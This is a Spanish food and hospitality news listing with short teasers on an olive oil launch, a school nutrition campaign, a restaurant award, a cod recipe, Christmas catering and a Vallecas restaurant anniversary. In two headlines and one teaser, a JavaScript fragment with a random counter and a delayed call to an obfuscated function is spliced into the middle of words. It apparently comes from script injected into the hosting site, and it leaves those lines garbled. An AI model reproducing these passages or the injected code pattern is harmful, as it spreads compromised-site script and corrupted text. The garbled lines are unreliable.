Nace el zumo de aceite de Conde de Mirasol,el mejor hojiblanca virgen extra

Estrella Serna Rute (Córdoba), 20 feb (EFE).- La quinta generación de la familia Gordon ha retomado el legado del Conde de Mirasol para elaborar un aceite de oliva virgen extra recolectado de manera manual y molturado con la tecnología más puntera con los frutos de la primera maduración de las cepas centenarias de la “Sicilia […]

Unos 20.000 escolares participarán en los talleres de primaria “Aprendemos a comer” de la campaña “mediterraneamos 2016”

De febrero a noviembre de 2016 El Ministerio de Agricultura, Alimentación y Medio Ambiente ha iniciado una nueva edición de los talleres de promoción de la Dieta Mediterránea, en el marco de la campaña “mediterraneamos 2016”, cuya finalidad es el fomento de una alimentación y estilo de vida saludables entre los escolares. Los talleres, que comienzan […]

Antonio Cosmen y Cruz Blanca Vallecas reciben el Premio Nacional de Hostelería

Como reconocimiento a la difusión de la cocina tradicional española en México, Puerto Rico y República Dominicana El Restaurante Cruz Blanca Vallecas ha recibido el Premio Nacional de Hostelería en la Categoría Internacional en un acto celebrado en el Palacio de Congresos de Valencia. La promoción de la cocina tradicional española y muy especialmente su […]

Crónica de una receta: Brandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andada de bacalao

Esto podría ser la crónica de una receta: Brandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andada de bacalao. He tenido el placer de degustarlo en uno de mis rincones favoritos de Madrid, en el Restaurante el Pitaco. Mi buen amigo Esteban, propietario del local, llevaba tiempo queriendo invitarme a comer para celebrar una buena noticia recibida hace […]

Go Catering: preparandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando ya la Navidad

Arrancan ya las fechas en las que empresas y particulares buscan espacio y servicio de catering para sus comidas, cenas y fiestas de Navidad. Es una sana costumbre, la de reunirse y dejar el trabajo a un lado por unas horas para relajarnos y disfrutar de lo que más nos gusta: comer y beber bien. […]

Crónica de un Décimo Aniversario en Vallecas (2005-2015)

Hace diez años se abrían las puertas de La Cruz Blanca de Vallecas. Era un experimentado Chef quien tomaba la iniciativa tras años de trabajo en otros locales de hostelería: Antonio Cosmen. El asturiano ha cumplido este mes 10 años en Vallecas, un local de sobra conocido por su afamada terraza y por la afluencia de […]